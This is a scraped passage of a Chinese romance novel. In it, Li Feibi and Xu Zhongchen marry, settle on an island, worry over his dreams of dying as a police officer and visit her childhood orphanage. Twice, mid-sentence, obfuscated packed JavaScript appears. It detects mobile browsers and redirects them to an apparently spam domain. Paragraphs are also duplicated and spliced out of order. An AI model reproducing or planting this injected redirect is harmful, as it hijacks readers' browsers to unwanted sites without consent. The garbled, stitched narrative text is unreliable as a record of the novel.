而喜欢下厨的许锺琛常常在厨房穿上围裙做饭，我总是透过厨房门的缝隙去看他，眼前的画面，不禁与做灵魂时的记忆重叠了起来，平行世界里的那个他和现在的阿琛一样吗？他们是同一个人吗？ 许锺琛一如既往地端菜出来摆放在桌上，也不停地为我夹菜，一切是那么的熟悉和温馨。茶余饭饱，我们就慵懒地坐在沙发上看经典电影，我抱着软软的抱枕，他在旁边黏人地抱着我，我便把头靠在他的胸膛或者肩膀上。 我总是与青年的许锺琛说起我们的灵魂在多年前见面的事，他不觉得我在撒谎骗他，毕竟他小时候在梦境里见过长大后的我，这一点成为了他相信我所说的事情的基石。而我时不时担心未来的他会不会牺牲，说实话，我不想他再做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633976|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警察，不想他变得跟他爸爸一样，不想他重复平行世界的经历。 我们在四面环海的岛上充实地生活，有一天我看见照常记录梦境的他，笔记本上记录了几个梦。桌上的日记本上写道，他梦见了中老年时期的自己彻底牺牲后，灵魂回到了九零年代菲比上学的时候，中老年的那个自己见到了两个菲比，一个是活着的菲比，一个是菲比的灵魂……未来的自己叫他珍惜着照顾菲比……如果菲比坚持和他在一起的话，他就不要去做警察了，更不要去做危险的警种……免得以后留下菲比一个人让她太难过了…… 往前面翻，许锺琛上中学的时候，也梦见过中老年时期的自己回来警告他，千万别忘了二〇〇四年五月六日那天要做的事，可他当天还是忙得差点忘了。 我看到这里愈发忧心忡忡，并心想我遇到的灵魂阿琛到底是不是平行世界的他？ 许锺琛发现我看到了他的日记以后，他从身后温暖地拥抱住我，臂力收得越来越紧。他宽慰我，可能他之前老听我说那些事情，就做了这种梦，以后会牺牲的事应该不是真的，他一定会和我一起白头偕老。 不过他问我，他要不要换岗位？ 我征求他的意见：“你想换岗位吗？” 他看着我的眼睛说：“你想不想我换？” 我讲：“我想你选择自己的想法，不用管我。” 他最后下定决心说，不换了，如果是中老年死去的他把我拉回了人间，那么他就得按照原本的轨迹生活下去，他担心如果改变了轨道，他就不能跟我在一起了…… 我抱住他，自欺欺人地宽慰道，傻瓜，那都是梦，别太担心了。许锺琛，你记住了，我爱你，也爱自己。 可是我的耳边想起一道沉重苍老的声音，如弥留之际般地说，李菲比，你是我此生最重要的幸福，请你好好地独自生活下去，如果我让你感觉到痛苦，那就忘记我吧。我们最后爱彼此的方式应该是尊重各自的意愿，我会完成自己的理想，也会默默地守护在你身边，即使存在某些不可避免的伤害，我亦希望你从今往后能独立地过好自己的日子…… 我爱你，李菲比。 30.我是幸福 我和许锺琛结婚以后，他果然如同灵魂阿琛，我们一起洗澡以后，他会帮我洗头并吹干头发。早上起来他也会为我梳头发，帮我化妆打扮，主动给我买很多各式各样的漂亮衣服。我也会回报着照顾他，学上他时不时准备惊喜送礼物，我们的夫妻关系如琴瑟调和，扶持着彼此度过人间的春夏秋冬。 我便将我的灵魂遇到另个他的事陆陆续续地说了，许锺琛一边吸收一边消化，最后还拿笔记本记录了下来，他说这也是属于我们之间的回忆当然要记下来了。 我们婚后过的第一个年，更有年味了，毕竟彼此有了一个真正属于自己的小家庭，我们一起搭配干活，做饭炒菜，最后吃上热乎的年夜饭，客厅的电视剧里放着热闹的节目，我和他一边看电视，一边吃饭聊天。 各自一前一后吃饱了饭，我们就出门去夜景绚烂的滨河边放烟花，县城里很多人都来这里放炮，还有值班警察巡逻维持治安。许锺琛帮我点燃一支长长的烟花炮，我们就一起拿着手持烟花对着滨河之上的天空。等到了十二点那一刻，他点燃百来块的礼花炮，及时回到我的身边环住我，并亲了亲我的侧脸和嘴巴说，菲比，新年快乐！我祝福你在人间度过的每天都是幸福又幸运的。 我噘嘴也回亲了他几下说，阿琛，新年快乐！我很幸福啊，也早就开始幸运，我已经变成了幸福本身，我就是幸福，更何况如今身边有你，我是幸上加幸啦。 年轻夫妇欢欢喜喜地放完炮，就你追我赶地奔回家，洗完澡我们在沙发上熬夜看了会儿电影，再回房夜谈着渐入梦乡。 隔日，许锺琛还会陪我回福利院看望各位长辈和孩子们，进行捐赠，我和他分别动用自己的小金库捐了金钱和物资，回馈社会。 他牵着我在院儿里四处溜达，喜欢反复观察我生活过的地方，问东问西的同时，心疼我是怎么过来的，我也心疼他帮着把自己养大了。我还同他回忆起，我和满秋调皮捣蛋合起伙来整蛊暴躁保姆的事，那个保育员阿姨很容易不耐烦，有几回下重手殴打我和满秋，我俩就趁她上厕所锁住门，并在门外怪声怪气地叫她，海妖婆，你是母夜叉变得吧!赶快回到你老家的大海里去捕鱼吃，等你捕不到鱼，看你的龅牙鲨鱼老公来了你怎么办!你家龅牙鲨老公会说，我活吞了你! 暴躁保姆一下子就猜出是我和满秋在搞鬼，她气恼地大叫我们的名字说，不把我俩打服，她就不在院儿里混了。我和她惊叫一声就跑去藏了起来，藏得大人们四处找我俩。 许锺琛笑起来捏了捏我的脸颊说，没想到我有这么调皮的时候。我也笑着说，是啊，哪像他小小年纪就有网瘾，竟然敢从学校三天两头翻出去上网，真应该把他丢到大海里面去被电鳗好好电一电。 他不正经地说用我的身体电他就够了，他现在电脑都懒得碰，就爱碰我。 我生怕旁人听到这些污言秽语，立即捂住了他花言巧语的嘴，他还玩世不恭地吻了吻我的手心。 谈到大海，我和许锺琛想工作攒钱，靠彼此的力量在海边买一套新房子。后来我们在附近的海岛上一起买了三套一的房子，面积不算大，这是我和阿琛共同买下的新家，住着更有属于我的房子的感觉。 许锺琛把原来的旧小区那套房租给了别人，用租金来补贴我们的日常生活，我们赚的工资通常一半存着，一半捐给福利院。 在岛上装修好了我和许锺琛未来的家，我才发现这是当初我灵魂出窍的时候，住在天使阿琛家里的样子。原来那个房子的装修风格，是我们结婚后住的房子。 而喜欢下厨的许锺琛常常在厨房穿上围裙做饭，我总是透过厨房门的缝隙去看他，眼前的画面，不禁与做灵魂时的记忆重叠了起来，平行世界里的那个他和现在的阿琛一样吗？他们是同一个人吗？ 许锺琛一如既往地端菜出来摆放在桌上，也不停地为我夹菜，一切是那么的熟悉和温馨。茶余饭饱，我们就慵懒地坐在沙发上看经典电影，我抱着软软的抱枕，他在旁边黏人地抱着我，我便把头靠在他的胸膛或者肩膀上。 我总是与青年的许锺琛说起我们的灵魂在多年前见面的事，他不觉得我在撒谎骗他，毕竟他小时候在梦境里见过长大后的我，这一点成为了他相信我所说的事情的基石。而我时不时担心未来的他会不会牺牲，说实话，我不想他再做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是我的耳边想起一道沉重苍老的声音，如弥留之际般地说，李菲比，你是我此生最重要的幸福，请你好好地独自生活下去，如果我让你感觉到痛苦，那就忘记我吧。我们最后爱彼此的方式应该是尊重各自的意愿，我会完成自己的理想，也会默默地守护在你身边，即使存在某些不可避免的伤害，我亦希望你从今往后能独立地过好自己的日子…… 我爱你，李菲比。